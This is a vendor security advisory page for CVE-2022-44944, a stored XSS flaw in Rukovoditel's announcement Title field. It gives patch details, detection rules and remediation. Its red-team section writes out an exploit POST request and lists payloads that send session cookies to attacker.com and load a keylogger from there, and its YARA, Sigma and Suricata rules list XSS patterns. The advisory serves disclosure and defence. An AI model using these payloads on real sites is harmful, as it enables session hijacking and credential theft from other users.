CVE-2022-44944
Executive Summary
CVE-2022-44944 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.2.1 and earlier. The flaw exists in the "Add Announcement" function, accessible at /index.php?module=help_pages/pages&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Title field, which is then stored and executed in the browsers of other users viewing the announcement. This can lead to data theft, session hijacking, or application defacement. The vulnerability has a CVSS v3.1 score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Rukovoditel is a self-hosted PHP application. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core application code. Users must manually update their installations to version 3.2.2 or later to remediate the issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account.
- User Interaction (UI): Required (R) – The victim must view the malicious announcement.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for all users.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79) in the Title field of the "Add Announcement" feature. The application fails to sanitize or encode user input before storing it in the database and later rendering it in the browser.
Attack Flow:
- An authenticated attacker navigates to the announcement creation page.
- The attacker submits a POST request to
/index.php?module=help_pages/pages&action=save&entities_id=24with a malicious payload in thenameparameter (e.g.,<script>alert(document.domain)</script>). - The application stores the payload in the database without proper sanitization.
- When any user (including administrators) views the announcements page, the malicious script executes in their browser context.
Root Cause: Lack of output encoding or input validation on the Title field. The application likely uses echo $title; or similar without htmlspecialchars() or equivalent escaping.
Vulnerable vs. Patched Code
Vulnerable Code (Rukovoditel <= 3.2.1):
// In the announcement display function
echo $announcement['name']; // No sanitization
Patched Code (Rukovoditel >= 3.2.2):
// In the announcement display function
echo htmlspecialchars($announcement['name'], ENT_QUOTES, 'UTF-8'); // Proper encoding
The patch applies htmlspecialchars() to encode HTML special characters, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A valid user account on the target Rukovoditel instance.
- Network access to the application.
Exploitation Steps:
- Log in to the application.
- Send a POST request to create a malicious announcement:
POST /index.php?module=help_pages/pages&action=save&entities_id=24&token=VALID_TOKEN HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
form_session_token=VALID_TOKEN&type=announcement&is_active=1&color=default&icon=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&start_date=&end_date=&sort_order=
- The payload
<script>alert(document.domain)</script>is stored. - Any user viewing the announcements page will trigger the script.
Advanced Payloads:
- Session hijacking:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Keylogging:
<script src="http://attacker.com/keylogger.js"></script>
Blue Team
Detection:
- Monitor for POST requests to
/index.php?module=help_pages/pages&action=save&entities_id=24with suspiciousnameparameters containing<script>or other HTML tags. - Use the provided YARA and Sigma rules to detect malicious payloads in logs.
Hunting:
- Search database entries in the
help_pagestable for HTML tags in thenamecolumn. - Review web server access logs for encoded script payloads in the
nameparameter.
Lab Setup:
- Deploy a vulnerable Rukovoditel 3.2.1 instance using Docker or a local PHP environment.
- Use the Nuclei template to automate testing.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/index.php?module=help_pages/pages&action=save&entities_id=24withnameparameter containing<script>or%3Cscript%3E. - Outbound connections from the victim's browser to attacker-controlled domains (e.g., for cookie exfiltration).
Host IOCs:
- Database entries in the
help_pagestable with HTML/JavaScript in thenamecolumn. - Web server logs showing encoded script payloads in the
nameparameter.
File IOCs:
- None specific to this CVE, as it is a server-side vulnerability.
Detection Engineering
YARA Rule
rule CVE_2022_44944_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Rukovoditel announcements"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2022-44944"
strings:
$payload1 = "<script>" ascii wide nocase
$payload2 = "onerror=" ascii wide nocase
$payload3 = "onload=" ascii wide nocase
$payload4 = "javascript:" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: CVE-2022-44944 - Stored XSS in Rukovoditel Announcements
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/index.php?module=help_pages/pages&action=save&entities_id=24*'
cs-uri-query|contains:
- '<script'
- '%3Cscript%3E'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of HTML in announcements (unlikely)
level: high
tags:
- attack.t1190
- cve.2022.44944
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-44944 - Stored XSS in Rukovoditel Announcements"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=help_pages/pages&action=save&entities_id=24"; http_uri; content:"name="; http_client_body; pcre:"/(<script|%3Cscript%3E|onerror=|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Nuclei Template
id: CVE-2022-44944
info:
name: Rukovoditel <= 3.2.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add Announcement function at /index.php?module=help_pages/pages&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
remediation: |
Upgrade Rukovoditel to version 3.2.2 or later to mitigate the XSS vulnerability.
reference:
- https://github.com/anhdq201/rukovoditel/issues/14
- http://rukovoditel.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-44944
- http://rukovoditel.com
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-44944
cwe-id: CWE-79
epss-score: 0.00929
epss-percentile: 0.76184
cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: rukovoditel
product: rukovoditel
shodan-query: http.favicon.hash:-1499940355
fofa-query: icon_hash=-1499940355
tags: cve2022,cve,rukovoditel,stored-xss,xss,authenticated,vuln
http:
- raw:
- |
GET /index.php?module=users/login HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?module=users/login&action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
form_session_token={{nonce}}&username={{username}}&password={{password}}
- |
POST /index.php?module=help_pages/pages&action=save&entities_id=24&token={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
form_session_token={{nonce}}&type=announcement&is_active=1&color=default&icon=&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&start_date=&end_date=&sort_order=
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(content_type_3, "text/html")'
- 'contains(body_3, "<script>alert(document.domain)</script>")'
- 'contains(body_3, "rukovoditel")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'id="form_session_token" value="(.*)" type="hidden"'
internal: true
# digest: 4b0a00483046022100e843388733175832662a0630197b5d8a595e23f52220479f1e6cde57242c8c1e022100d1050796ed16ff2c101083e9677b56ae60fd145eaa124dc682f864e5839a3432:922c64590222798bb761d5b6d8e72950
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Rukovoditel to version 3.2.2 or later, which includes proper output encoding.
- Input Validation: Implement server-side validation to reject HTML tags in the
Titlefield. - Output Encoding: Ensure all user-supplied data is encoded with
htmlspecialchars()before rendering.
Compensating Controls:
- Web Application Firewall (WAF): Deploy rules to block requests containing
<script>or other XSS patterns in thenameparameter. - Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if it occurs.
- Least Privilege: Restrict the ability to create announcements to trusted users only.
Long-Term Fix:
- Adopt a security-focused development lifecycle with regular code reviews and automated security testing (SAST/DAST).
Report generated by Valters IT DevSecOps & CTI Division
{/* [Security Hash: B26590C611F65CFB2DBBF554] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.